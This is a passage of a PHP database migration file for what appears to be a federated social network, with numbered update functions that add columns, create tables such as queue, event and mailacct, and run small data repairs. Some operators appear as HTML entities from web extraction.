 q("ALTER TABLE `contact` CHANGE `issued-pubkey` `issued-pubkey` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL");
 q("ALTER TABLE `contact` ADD `term-date` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `avatar-date`");
}

function update_1001() {
 q("ALTER TABLE `item` ADD `wall` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `type` ");
 q("ALTER TABLE `item` ADD INDEX ( `wall` )");
}

function update_1002() {
 q("ALTER TABLE `item` ADD `gravity` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `wall` ");
}

function update_1003() {
 q("ALTER TABLE `contact` DROP `issued-pubkey` , DROP `ret-id` , DROP `ret-pubkey` ");
 q("ALTER TABLE `contact` ADD `usehub` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `ret-aes`");
 q("ALTER TABLE `contact` ADD `hub-verify` CHAR( 255 ) NOT NULL AFTER `usehub`");
 q("ALTER TABLE `contact` ADD INDEX ( `uid` ) ,  ADD INDEX ( `self` ),  ADD INDEX ( `issued-id` ),  ADD INDEX ( `dfrn-id` )");
 q("ALTER TABLE `contact` ADD INDEX ( `blocked` ),   ADD INDEX ( `readonly` )");
}

function update_1004() {
 q("ALTER TABLE `contact` ADD `subhub` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `usehub`");
}

function update_1005() {

 q("ALTER TABLE `user` ADD `spubkey` TEXT NOT NULL AFTER `prvkey` ,
 ADD `sprvkey` TEXT NOT NULL AFTER `spubkey`"
);

}

function update_1006() {

 // create 's' keys for everybody that does not have one

 $r = q("SELECT * FROM `user` WHERE `spubkey` = '' ");
 if(count($r)) {
 foreach($r as $rr) {
 $sres=openssl_pkey_new(array('encrypt_key' => false ));
 $sprvkey = '';
 openssl_pkey_export($sres, $sprvkey);
 $spkey = openssl_pkey_get_details($sres);
 $spubkey = $spkey["key"];
 $r = q("UPDATE `user` SET `spubkey` = '%s', `sprvkey` = '%s'
 WHERE `uid` = %d LIMIT 1"
,
 dbesc($spubkey),
 dbesc($sprvkey),
 intval($rr['uid'])
 );
 }
 }
}

function update_1007() {
 q("ALTER TABLE `user` ADD `page-flags` INT NOT NULL DEFAULT '0' AFTER `notify-flags`");
 q("ALTER TABLE `user` ADD INDEX ( `nickname` )");
}

function update_1008() {
 q("ALTER TABLE `profile` ADD `with` TEXT NOT NULL AFTER `marital` ");
}

function update_1009() {
 q("ALTER TABLE `user` ADD `allow_location` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `default-location` ");
}

function update_1010() {
 q("ALTER TABLE `contact` ADD `lrdd` CHAR( 255 ) NOT NULL AFTER `url` ");
}

function update_1011() {
 q("ALTER TABLE `contact` ADD `nick` CHAR( 255 ) NOT NULL AFTER `name` ");
 $r = q("SELECT * FROM `contact` WHERE 1");
 if(count($r)) {
 foreach($r as $rr) {
 q("UPDATE `contact` SET `nick` = '%s' WHERE `id` = %d LIMIT 1",
 dbesc(basename($rr['url'])),
 intval($rr['id'])
 );
 }
 }
}

function update_1012() {
 q("ALTER TABLE `item` ADD `inform` MEDIUMTEXT NOT NULL AFTER `tag` ");
}

function update_1013() {
 q("ALTER TABLE `item` ADD `target-type` CHAR( 255 ) NOT NULL
 AFTER `object` , ADD `target` TEXT NOT NULL AFTER `target-type`"
);
}

function update_1014() {
 require_once('include/Photo.php');
 q("ALTER TABLE `contact` ADD `micro` TEXT NOT NULL AFTER `thumb` ");
 $r = q("SELECT * FROM `photo` WHERE `scale` = 4");
 if(count($r)) {
 foreach($r as $rr) {
 $ph = new Photo($rr['data']);
 if($ph->is_valid()) {
 $ph->scaleImage(48);
 $ph->store($rr['uid'],$rr['contact-id'],$rr['resource-id'],$rr['filename'],$rr['album'],6,(($rr['profile']) ? 1 : 0));
 }
 }
 }
 $r = q("SELECT * FROM `contact` WHERE 1");
 if(count($r)) {
 foreach($r as $rr) {
 if(stristr($rr['thumb'],'avatar'))
 q("UPDATE `contact` SET `micro` = '%s' WHERE `id` = %d LIMIT 1",
 dbesc(str_replace('avatar','micro',$rr['thumb'])),
 intval($rr['id']));
 else
 q("UPDATE `contact` SET `micro` = '%s' WHERE `id` = %d LIMIT 1",
 dbesc(str_replace('5.jpg','6.jpg',$rr['thumb'])),
 intval($rr['id']));
 }
 }
}

function update_1015() {
 q("ALTER TABLE `item` CHANGE `body` `body` mediumtext NOT NULL");
}

function update_1016() {
 q("ALTER TABLE `user` ADD `openid` CHAR( 255 ) NOT NULL AFTER `email` ");
}

function update_1017() {

 q(" CREATE TABLE IF NOT EXISTS `clients` (
`client_id` VARCHAR( 20 ) NOT NULL ,
`pw` VARCHAR( 20 ) NOT NULL ,
`redirect_uri` VARCHAR( 200 ) NOT NULL ,
PRIMARY KEY ( `client_id` )
) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);

 q(" CREATE TABLE IF NOT EXISTS `tokens` (
`id` VARCHAR( 40 ) NOT NULL ,
`client_id` VARCHAR( 20 ) NOT NULL ,
`expires` INT NOT NULL ,
`scope` VARCHAR( 200 ) NOT NULL ,
PRIMARY KEY ( `id` )
) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);

 q("CREATE TABLE IF NOT EXISTS `auth_codes` (
`id` VARCHAR( 40 ) NOT NULL ,
`client_id` VARCHAR( 20 ) NOT NULL ,
`redirect_uri` VARCHAR( 200 ) NOT NULL ,
`expires` INT NOT NULL ,
`scope` VARCHAR( 250 ) NOT NULL ,
PRIMARY KEY ( `id` )
) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);

}

function update_1018() {
 q("CREATE TABLE IF NOT EXISTS `queue` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`cid` INT NOT NULL ,
`created` DATETIME NOT NULL ,
`last` DATETIME NOT NULL ,
`content` MEDIUMTEXT NOT NULL
) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);
}

function update_1019() {
 q("ALTER TABLE `mail` DROP `delivered`");
 q("ALTER TABLE `profile` ADD `showwith` TINYINT(1) NOT NULL DEFAULT '0' AFTER `marital` ");
}

function update_1020() {
 q("ALTER TABLE `profile` DROP `showwith`");
 q("ALTER TABLE `item` ADD `thr-parent` CHAR( 255 ) NOT NULL AFTER `parent-uri` ");
}

function update_1021() {
 q("ALTER TABLE `profile_check` ADD `sec` CHAR( 255 ) NOT NULL AFTER `dfrn_id` ");
 q("ALTER TABLE `profile_check` ADD `cid` INT(10) unsigned  NOT NULL DEFAULT '0' AFTER `uid`");
 q("ALTER TABLE `item` ADD `private` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `deny_gid` ");
}

function update_1022() {
 q("CREATE TABLE `pconfig` (
 `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `uid` INT NOT NULL DEFAULT '0',
 `cat` CHAR( 255 ) NOT NULL ,
 `k` CHAR( 255 ) NOT NULL ,
 `v` MEDIUMTEXT NOT NULL
 ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci "
);
}

function update_1023() {
 q("ALTER TABLE `user` ADD `register_date` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `timezone` ,
 ADD `login_date` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `register_date` "
);
}

function update_1024() {
 q("ALTER TABLE `profile` ADD `keywords` TEXT NOT NULL AFTER `religion` ");
}

function update_1025() {
 q("ALTER TABLE `user` ADD `maxreq` int(11) NOT NULL DEFAULT '10' AFTER `pwdreset` ");
}

function update_1026() {
 q("CREATE TABLE IF NOT EXISTS `hook` (
 `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `hook` CHAR( 255 ) NOT NULL ,
 `file` CHAR( 255 ) NOT NULL ,
 `function` CHAR( 255 ) NOT NULL
 ) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);
}


function update_1027() {
 q("CREATE TABLE IF NOT EXISTS `addon` (
 `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `name` CHAR( 255 ) NOT NULL ,
 `version` CHAR( 255 ) NOT NULL ,
 `installed` TINYINT( 1 ) NOT NULL DEFAULT '0'
 ) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);
}

function update_1028() {
 q("ALTER TABLE `user` ADD `openidserver` text NOT NULL AFTER `deny_gid` ");
}

function update_1029() {
 q("ALTER TABLE `contact` ADD `info` MEDIUMTEXT NOT NULL AFTER `reason` ");
}

function update_1030() {
 q("ALTER TABLE `contact` ADD `bdyear` CHAR( 4 ) NOT NULL COMMENT 'birthday notify flag' AFTER `profile-id` ");

 q("CREATE TABLE IF NOT EXISTS `event` (
 `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `uid` INT NOT NULL ,
 `cid` INT NOT NULL ,
 `created` DATETIME NOT NULL ,
 `edited` DATETIME NOT NULL ,
 `start` DATETIME NOT NULL ,
 `finish` DATETIME NOT NULL ,
 `desc` TEXT NOT NULL ,
 `location` TEXT NOT NULL ,
 `type` CHAR( 255 ) NOT NULL ,
 `adjust` TINYINT( 1 ) NOT NULL DEFAULT '1',
 `allow_cid` MEDIUMTEXT NOT NULL ,
 `allow_gid` MEDIUMTEXT NOT NULL ,
 `deny_cid` MEDIUMTEXT NOT NULL ,
 `deny_gid` MEDIUMTEXT NOT NULL
 ) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);


}

function update_1031() {
 // Repair any bad links that slipped into the item table
 $r = q("SELECT `id`, `object` FROM `item` WHERE `object` != '' ");
 if($r &amp;&amp; count($r)) {
 foreach($r as $rr) {
 if(strstr($rr['object'],'type=&amp;quot;http')) {
 q("UPDATE `item` SET `object` = '%s' WHERE `id` = %d LIMIT 1",
 dbesc(str_replace('type=&amp;quot;http','href=&amp;quot;http',$rr['object'])),
 intval($rr['id'])
 );
 }
 }
 }
}

function update_1032() {
 q("ALTER TABLE `profile` ADD `pdesc` CHAR( 255 ) NOT NULL AFTER `name` ");
}

function update_1033() {
 q("CREATE TABLE IF NOT EXISTS `cache` (
 `k` CHAR( 255 ) NOT NULL PRIMARY KEY ,
 `v` TEXT NOT NULL,
 `updated` DATETIME NOT NULL
 ) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);
}


function update_1034() {

 // If you have any of these parent-less posts they can cause problems, and
 // we need to delete them. You can't see them anyway.
 // Legitimate items will usually get re-created on the next
 // pull from the hub.
 // But don't get rid of a post that may have just come in
 // and may not yet have the parent id set.

 q("DELETE FROM `item` WHERE `parent` = 0 AND `created` < UTC_TIMESTAMP() - INTERVAL 2 MINUTE");

}


function update_1035() {

 q("ALTER TABLE `contact` ADD `success_update` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `last-update` ");

}

function update_1036() {

 $r = dbq("SELECT * FROM `contact` WHERE `network` = 'dfrn' &amp;&amp; `photo` LIKE '%include/photo%' ");
 if(count($r)) {
 foreach($r as $rr) {
 q("UPDATE `contact` SET `photo` = '%s', `thumb` = '%s', `micro` = '%s' WHERE `id` = %d LIMIT 1",
 dbesc(str_replace('include/photo','photo',$rr['photo'])),
 dbesc(str_replace('include/photo','photo',$rr['thumb'])),
 dbesc(str_replace('include/photo','photo',$rr['micro'])),
 intval($rr['id']));
 }
 }
}

function update_1037() {

 q("ALTER TABLE `contact` CHANGE `lrdd` `alias` CHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ");

}

function update_1038() {
 q("ALTER TABLE `item` ADD `plink` CHAR( 255 ) NOT NULL AFTER `target` ");
}

function update_1039() {
 q("ALTER TABLE `addon` ADD `timestamp` BIGINT NOT NULL DEFAULT '0'");
}


function update_1040() {

 q("CREATE TABLE IF NOT EXISTS `fcontact` (
 `id` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `url` CHAR( 255 ) NOT NULL ,
 `name` CHAR( 255 ) NOT NULL ,
 `photo` CHAR( 255 ) NOT NULL
 ) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);

 q("CREATE TABLE IF NOT EXISTS `ffinder` (
 `id` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `uid` INT UNSIGNED NOT NULL ,
 `cid` INT UNSIGNED NOT NULL ,
 `fid` INT UNSIGNED NOT NULL
 ) ENGINE = MYISAM DEFAULT CHARSET=utf8 "
);

}

function update_1041() {
 q("ALTER TABLE `profile` CHANGE `keywords` `prv_keywords` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ");
 q("ALTER TABLE `profile` ADD `pub_keywords` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL AFTER `religion` ");
}

function update_1042() {
 q("ALTER TABLE `user` ADD `expire` INT UNSIGNED NOT NULL DEFAULT '0' AFTER `maxreq` ");
}


function update_1043() {
 q("ALTER TABLE `user` ADD `blockwall` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `blocked` ");
}

function update_1044() {
 q("ALTER TABLE `profile` ADD FULLTEXT ( `pub_keywords` ) ");
 q("ALTER TABLE `profile` ADD FULLTEXT ( `prv_keywords` ) ");
}

function update_1045() {
 q("ALTER TABLE `user` ADD `language` CHAR( 16 ) NOT NULL DEFAULT 'en' AFTER `timezone` ");
}

function update_1046() {
 q("ALTER TABLE `item` ADD `attach` MEDIUMTEXT NOT NULL AFTER `tag` ");
}

function update_1047() {
 q("ALTER TABLE `contact` ADD `writable` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `readonly` ");
}

function update_1048() {
 q("UPDATE `contact` SET `writable` = 1 WHERE `network` = 'stat' AND `notify` != '' ");
}

function update_1049() {
 q("CREATE TABLE `mailacct` (
 `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `uid` INT NOT NULL,
 `server` CHAR( 255 ) NOT NULL ,
 `user` CHAR( 255 ) NOT NULL ,
 `pass` CHAR( 255 ) NOT NULL ,
 `reply_to` CHAR( 255 ) NOT NULL ,
 `last_check` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00'
 ) ENGINE = MYISAM "
);
}

function update_1050() {
 q("CREATE TABLE `attach` (
 `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
 `uid` INT NOT NULL ,
 `filetype` CHAR( 64 ) NOT NULL ,
 `filesize` INT NOT NULL ,
 `data` LONGBLOB NOT NULL ,
 `created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
 `edited` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
 `allow_cid` MEDIUMTEXT NOT NULL ,
 `allow_gid` MEDIUMTEXT NOT NULL ,
 `deny_cid` MEDIUMTEXT NOT NULL ,
 `deny_gid` MEDIUMTEXT NOT NULL
 ) ENGINE = MYISAM "
);

}

function update_1051() {
 q("ALTER TABLE `mailacct` ADD `port` INT NOT NULL AFTER `server` ,
 ADD `ssltype` CHAR( 16 ) NOT NULL AFTER `port` ,
 ADD `mailbox` CHAR( 255 ) NOT NULL AFTER `ssltype` "
);

 q("ALTER TABLE `contact` ADD `addr` CHAR( 255 ) NOT NULL AFTER `url` ");
}

function update_1052() {
 q("ALTER TABLE `mailacct` CHANGE `pass` `pass` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL");
 q("ALTER TABLE `mailacct` ADD `pubmail` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `reply_to` ");
 q("ALTER TABLE `item` ADD `pubmail` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `private` ");
}


function update_1053() {
 q("ALTER TABLE `item` ADD `extid` CHAR( 255 ) NOT NULL AFTER `parent-uri` , ADD INDEX ( `extid` ) ");
}

function update_1054() {
 q("ALTER TABLE `register` ADD `language` CHAR( 16 ) NOT NULL AFTER `password` ");
}

function update_1055() {
 q("ALTER TABLE `profile` ADD `hidewall` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `hide-friends` ");
}

function update_1056() {
 q("ALTER TABLE `attach` ADD `hash` CHAR( 64 ) NOT NULL AFTER `uid` ");
}

function update_1057() {
 q("ALTER TABLE `attach` ADD `filename` CHAR( 255 ) NOT NULL AFTER `hash` ");
}

function update_1058() {
 q("ALTER TABLE `item` ADD `event-id` INT NOT NULL AFTER `resource-id` ");
}

function update_1059() {
 q("ALTER TABLE `queue` ADD `network` CHAR( 32 ) NOT NULL AFTER `cid` ");
}

function update_1060() {
 q("ALTER TABLE `event` ADD `uri` CHAR( 255 ) NOT NULL AFTER `cid` ");
}

function update_1061() {
 q("ALTER TABLE `event` ADD `nofinish` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `type` ");
}

function update_1062() {
 q("ALTER TABLE `user` ADD `prvnets` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `page-flags` ");
}

&amp;nbsp;